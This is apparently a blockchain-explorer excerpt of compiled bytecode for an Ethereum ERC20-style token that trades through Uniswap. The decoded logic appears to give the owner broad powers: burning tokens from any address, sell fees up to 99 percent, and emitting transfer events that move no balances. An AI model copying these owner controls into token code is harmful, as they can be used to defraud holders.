0000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b61583581614f7f565b811461584057600080fd5b50565b61584c81614f91565b811461585757600080fd5b50565b61586381614fbd565b811461586e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122039a6c77503eadae6324b40fec9e048edf6b6bcc4646f1f56f69cb5f806f5d3f364736f6c63430008010033

Deployed Bytecode

0x6080604052600436106103fe5760003560e01c80638ea5220f11610213578063bbc0c74211610123578063d94160e0116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063d94160e014610e88578063dd62ed3e14610ec5578063e2f4560514610f02578063e884f26014610f2d57610405565b8063c2b7bbb6116100f2578063c2b7bbb614610da1578063c876d0b914610dca578063c8c8ebe414610df5578063d257b34f14610e20578063d85ba06314610e5d57610405565b8063bbc0c74214610cfb578063c024666814610d26578063c17b5b8c14610d4f578063c18bc19514610d7857610405565b8063a0d82dc5116101a6578063a746223f11610175578063a746223f14610c06578063a9059cbb14610c2f578063aacebbe314610c6c578063b62496f514610c95578063bbbb3ffc14610cd257610405565b8063a0d82dc514610b4a578063a165506f14610b75578063a457c2d714610b9e578063a4c82a0014610bdb57610405565b80639c3b4fdc116101e25780639c3b4fdc14610aa05780639dc29fac14610acb5780639ec22c0e14610af45780639fccce3214610b1f57610405565b80638ea5220f146109f65780639213691314610a21578063924de9b714610a4c57806395d89b4114610a7557610405565b80633582ad231161030e578063715018a6116102a157806375f0a8741161027057806375f0a874146109355780637bce5a04146109605780638095d5641461098b5780638a8c523c146109b45780638da5cb5b146109cb57610405565b8063715018a6146108a1578063730c1888146108b8578063751039fc146108e15780637571336a1461090c57610405565b80634fbee193116102dd5780634fbee193146107d15780636a486a8e1461080e5780636ddd17131461083957806370a082311461086457610405565b80633582ad231461071557806339509351146107405780633eb2b5ad1461077d57806349bd5a5e146107a657610405565b80631a8145bb1161039157806326ededb81161036057806326ededb81461064057806327c8f835146106695780632c3e486c146106945780632e82f1a0146106bf578063313ce567146106ea57610405565b80631a8145bb146105845780631f3fed8f146105af578063203e727e146105da57806323b872dd1461060357610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c9190614a38565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190614327565b6110d1565b6040516104699190614a02565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061420e565b6110ef565b6040516104a69190614a02565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d19190614a1d565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc9190614d7a565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061420e565b61113d565b005b34801561053a57600080fd5b50610543611205565b6040516105509190614d7a565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b9190614d7a565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a69190614d7a565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d19190614d7a565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc919061443c565b61121d565b005b34801561060f57600080fd5b5061062a6004803603810190610625919061429c565b6112b8565b6040516106379190614a02565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143bb565b611391565b005b34801561067557600080fd5b5061067e611494565b60405161068b91906149e7565b60405180910390f35b3480156106a057600080fd5b506106a961149a565b6040516106b69190614d7a565b60405180910390f35b3480156106cb57600080fd5b506106d46114a0565b6040516106e19190614a02565b60405180910390f35b3480156106f657600080fd5b506106ff6114b3565b60405161070c9190614def565b60405180910390f35b34801561072157600080fd5b5061072a6114bc565b6040516107379190614a02565b60405180910390f35b34801561074c57600080fd5b5061076760048036038101906107629190614327565b6114cf565b6040516107749190614a02565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f919061420e565b611582565b005b3480156107b257600080fd5b506107bb6115ce565b6040516107c891906149e7565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f3919061420e565b6115f4565b6040516108059190614a02565b60405180910390f35b34801561081a57600080fd5b5061082361164a565b6040516108309190614d7a565b60405180910390f35b34801561084557600080fd5b5061084e611650565b60405161085b9190614a02565b60405180910390f35b34801561087057600080fd5b5061088b6004803603810190610886919061420e565b611663565b6040516108989190614d7a565b60405180910390f35b3480156108ad57600080fd5b506108b66116ac565b005b3480156108c457600080fd5b506108df60048036038101906108da919061448e565b611772565b005b3480156108ed57600080fd5b506108f661183e565b6040516109039190614a02565b60405180910390f35b34801561091857600080fd5b50610933600480360381019061092e91906142eb565b61186a565b005b34801561094157600080fd5b5061094a6118cd565b60405161095791906149e7565b60405180910390f35b34801561096c57600080fd5b506109756118f3565b6040516109829190614d7a565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad91906144dd565b6118f9565b005b3480156109c057600080fd5b506109c9611984565b005b3480156109d757600080fd5b506109e06119cb565b6040516109ed91906149e7565b60405180910390f35b348015610a0257600080fd5b50610a0b6119f4565b604051610a1891906149e7565b60405180910390f35b348015610a2d57600080fd5b50610a36611a1a565b604051610a439190614d7a565b60405180910390f35b348015610a5857600080fd5b50610a736004803603810190610a6e9190614413565b611a20565b005b348015610a8157600080fd5b50610a8a611a45565b604051610a979190614a38565b60405180910390f35b348015610aac57600080fd5b50610ab5611ad7565b604051610ac29190614d7a565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed9190614327565b611add565b005b348015610b0057600080fd5b50610b09611af3565b604051610b169190614d7a565b60405180910390f35b348015610b2b57600080fd5b50610b34611af9565b604051610b419190614d7a565b60405180910390f35b348015610b5657600080fd5b50610b5f611aff565b604051610b6c9190614d7a565b60405180910390f35b348015610b8157600080fd5b50610b9c6004803603810190610b979190614260565b611b05565b005b348015610baa57600080fd5b50610bc56004803603810190610bc09190614327565b611b1b565b604051610bd29190614a02565b60405180910390f35b348015610be757600080fd5b50610bf0611be8565b604051610bfd9190614d7a565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c289190614363565b611bee565b005b348015610c3b57600080fd5b50610c566004803603810190610c519190614327565b611cc1565b604051610c639190614a02565b60405180910390f35b348015610c7857600080fd5b50610c936004803603810190610c8e919061420e565b611cdf565b005b348015610ca157600080fd5b50610cbc6004803603810190610cb7919061420e565b611da7565b604051610cc991906149e7565b60405180910390f35b348015610cde57600080fd5b50610cf96004803603810190610cf49190614260565b611dda565b005b348015610d0757600080fd5b50610d10611ebe565b604051610d1d9190614a02565b60405180910390f35b348015610d3257600080fd5b50610d4d6004803603810190610d4891906142eb565b611ed1565b005b348015610d5b57600080fd5b50610d766004803603810190610d7191906144dd565b611f82565b005b348015610d8457600080fd5b50610d9f6004803603810190610d9a919061443c565b61200d565b005b348015610dad57600080fd5b50610dc86004803603810190610dc3919061420e565b6120a8565b005b348015610dd657600080fd5b50610ddf612121565b604051610dec9190614a02565b60405180910390f35b348015610e0157600080fd5b50610e0a612134565b604051610e179190614d7a565b60405180910390f35b348015610e2c57600080fd5b50610e476004803603810190610e42919061443c565b61213a565b604051610e549190614a02565b60405180910390f35b348015610e6957600080fd5b50610e7261221b565b604051610e7f9190614d7a565b60405180910390f35b348015610e9457600080fd5b50610eaf6004803603810190610eaa919061420e565b612221565b604051610ebc9190614a02565b60405180910390f35b348015610ed157600080fd5b50610eec6004803603810190610ee79190614260565b612277565b604051610ef99190614d7a565b60405180910390f35b348015610f0e57600080fd5b50610f176122fe565b604051610f249190614d7a565b60405180910390f35b348015610f3957600080fd5b50610f42612304565b604051610f4f9190614a02565b60405180910390f35b348015610f6457600080fd5b50610f6d612330565b604051610f7a9190614d7a565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061420e565b612336565b005b348015610fb857600080fd5b50610fc161246b565b604051610fce9190614d7a565b60405180910390f35b348015610fe357600080fd5b50610fec612471565b604051610ff99190614d7a565b60405180910390f35b34801561100e57600080fd5b506110296004803603810190611024919061443c565b612477565b6040516110369190614a02565b60405180910390f35b60606006805461104e9061503d565b80601f016020809104026020016040519081016040528092919081815260200182805461107a9061503d565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612781565b8484612789565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b611145612954565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b611225612954565b670de0b6b3a76400006103e8600161123b611133565b6112459190614ef1565b61124f9190614ec0565b6112599190614ec0565b81101561129b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129290614d5a565b60405180910390fd5b670de0b6b3a7640000816112af9190614ef1565b600b8190555050565b60006112c58484846129d2565b611386846112d1612781565b6113818560405180606001604052806028815260200161589860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611337612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f99092919063ffffffff16565b612789565b600190509392505050565b611399612954565b60005b8383905081101561148e578383828181106113e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113f5919061420e565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114739190614d7a565b60405180910390a380806114869061506f565b91505061139c565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006012905090565b601560009054906101000a900460ff1681565b60006115786114dc612781565b8461157385600360006114ed612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b612789565b6001905092915050565b61158a612954565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116b4612954565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61177a612954565b6102588310156117bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b690614afa565b60405180910390fd5b6103e882111580156117d2575060008210155b611811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180890614b9a565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b6000611848612954565b6000601560006101000a81548160ff0219169083151502179055506001905090565b611872612954565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611901612954565b826018819055508160198190555080601a81905550601a546019546018546119299190614e6a565b6119339190614e6a565b6017819055506019601754111561197f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197690614d3a565b60405180910390fd5b505050565b61198c612954565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611a28612954565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611a549061503d565b80601f0160208091040260200160405190810160405280929190818152602001828054611a809061503d565b8015611acd5780601f10611aa257610100808354040283529160200191611acd565b820191906000526020600020905b815481529060010190602001808311611ab057829003601f168201915b5050505050905090565b601a5481565b611ae5612954565b611aef828261355d565b5050565b60105481565b60215481565b601e5481565b611b0d612954565b611b178282611dda565b5050565b6000611bde611b28612781565b84611bd9856040518060600160405280602581526020016158c06025913960036000611b52612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f99092919063ffffffff16565b612789565b6001905092915050565b60145481565b611bf6612954565b60005b83839050811015611cbb578160166000868685818110611c42577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190611c57919061420e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611cb39061506f565b915050611bf9565b50505050565b6000611cd5611cce612781565b84846129d2565b6001905092915050565b611ce7612954565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611de2612954565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611ed9612954565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f769190614a02565b60405180910390a25050565b611f8a612954565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611fb29190614e6a565b611fbc9190614e6a565b601b819055506063601b541115612008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fff90614b7a565b60405180910390fd5b505050565b612015612954565b670de0b6b3a76400006103e8600561202b611133565b6120359190614ef1565b61203f9190614ec0565b6120499190614ec0565b81101561208b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208290614b3a565b60405180910390fd5b670de0b6b3a76400008161209f9190614ef1565b600a8190555050565b6120b0612954565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061211e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161186a565b50565b602360009054906101000a900460ff1681565b600b5481565b6000612144612954565b620186a06001612152611133565b61215c9190614ef1565b6121669190614ec0565b8210156121a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219f90614bba565b60405180910390fd5b6103e8600a6121b5611133565b6121bf9190614ef1565b6121c99190614ec0565b82111561220b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220290614c5a565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061230e612954565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61233e612954565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a590614aba565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b6000612481612954565b600f546010546124919190614e6a565b42116124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c990614cda565b60405180910390fd5b6103e8821115612517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250e90614c9a565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161257b91906149e7565b60206040518083038186803b15801561259357600080fd5b505afa1580156125a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125cb9190614465565b905060006125f66127106125e8868561372990919063ffffffff16565b6137a490919063ffffffff16565b9050600081111561263157612630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836137ee565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126ff57600080fd5b505af1158015612713573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846127329190614e6a565b905083811015612777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276e90614b1a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f090614cfa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286090614ada565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129479190614d7a565b60405180910390a3505050565b61295c612781565b73ffffffffffffffffffffffffffffffffffffffff1661297a613a87565b73ffffffffffffffffffffffffffffffffffffffff16146129d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c790614c3a565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3990614cba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa990614a5a565b60405180910390fd5b6000811415612acc57612ac7838360006137ee565b6134f4565b601560009054906101000a900460ff16156130e357612ae96119cb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612b575750612b276119cb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b905750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bca575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612be35750600960149054906101000a900460ff16155b156130e257601560019054906101000a900460ff16612cdd57602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c9d5750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd390614a9a565b60405180910390fd5b5b602360009054906101000a900460ff1615612ea757612cfa6119cb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d8157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612ddb5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ea65743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5890614bfa565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f9a57600b54811115612f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3490614bda565b60405180910390fd5b600a54612f4983611663565b82612f549190614e6a565b1115612f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f8c90614d1a565b60405180910390fd5b6130e1565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661303557600b54811115613030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302790614b5a565b60405180910390fd5b6130e0565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130df57600a5461309283611663565b8261309d9190614e6a565b11156130de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d590614d1a565b60405180910390fd5b5b5b5b5b5b60006130ee30611663565b90506000600c5482101590508080156131135750601560029054906101000a900460ff165b801561312c5750600960149054906101000a900460ff16155b80156131825750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131d85750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561321c576001600960146101000a81548160ff021916908315150217905550613200613a9b565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132455750601260009054906101000a900460ff165b156132555761325385613c23565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061330b5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561331557600090505b600081156134e4576000601b5411156133f0576133506064613342601b548861372990919063ffffffff16565b6137a490919063ffffffff16565b9050601b54601d54826133639190614ef1565b61336d9190614ec0565b6020600082825461337e9190614e6a565b92505081905550601b54601e54826133969190614ef1565b6133a09190614ec0565b602160008282546133b19190614e6a565b92505081905550601b54601c54826133c99190614ef1565b6133d39190614ec0565b601f60008282546133e49190614e6a565b925050819055506134c0565b600060175411156134bf5761342360646134156017548861372990919063ffffffff16565b6137a490919063ffffffff16565b9050601754601954826134369190614ef1565b6134409190614ec0565b602060008282546134519190614e6a565b92505081905550601754601a54826134699190614ef1565b6134739190614ec0565b602160008282546134849190614e6a565b925050819055506017546018548261349c9190614ef1565b6134a69190614ec0565b601f60008282546134b79190614e6a565b925050819055505b5b60008111156134d5576134d48730836137ee565b5b80856134e19190614f4b565b94505b6134ef8787876137ee565b505050505b505050565b6000838311158290613541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135389190614a38565b60405180910390fd5b50600083856135509190614f4b565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156135cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c490614c7a565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161364b90614a7a565b60405180910390fd5b816004546136629190614f4b565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136b79190614f4b565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161371c9190614d7a565b60405180910390a3505050565b60008083141561373c576000905061379e565b6000828461374a9190614ef1565b90508284826137599190614ec0565b14613799576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161379090614c1a565b60405180910390fd5b809150505b92915050565b60006137e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cf0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561385e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161385590614cba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156138ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138c590614a5a565b60405180910390fd5b6138d9838383613d53565b6139458160405180606001604052806026815260200161587260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f99092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139da81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a7a9190614d7a565b60405180910390a3505050565b600080613a92613d58565b90508091505090565b6000613aa630611663565b90506000602154601f54602054613abd9190614e6a565b613ac79190614e6a565b9050600080831480613ad95750600082145b15613ae657505050613c21565b6014600c54613af59190614ef1565b831115613b0e576014600c54613b0b9190614ef1565b92505b600060028360205486613b219190614ef1565b613b2b9190614ec0565b613b359190614ec0565b90506000613b4c8286613dfc90919063ffffffff16565b90506000479050613b5c82613e46565b6000613b718247613dfc90919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613bd1906149d2565b60006040518083038185875af1925050503d8060008114613c0e576040519150601f19603f3d011682016040523d82523d6000602084013e613c13565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613c5f91906149e756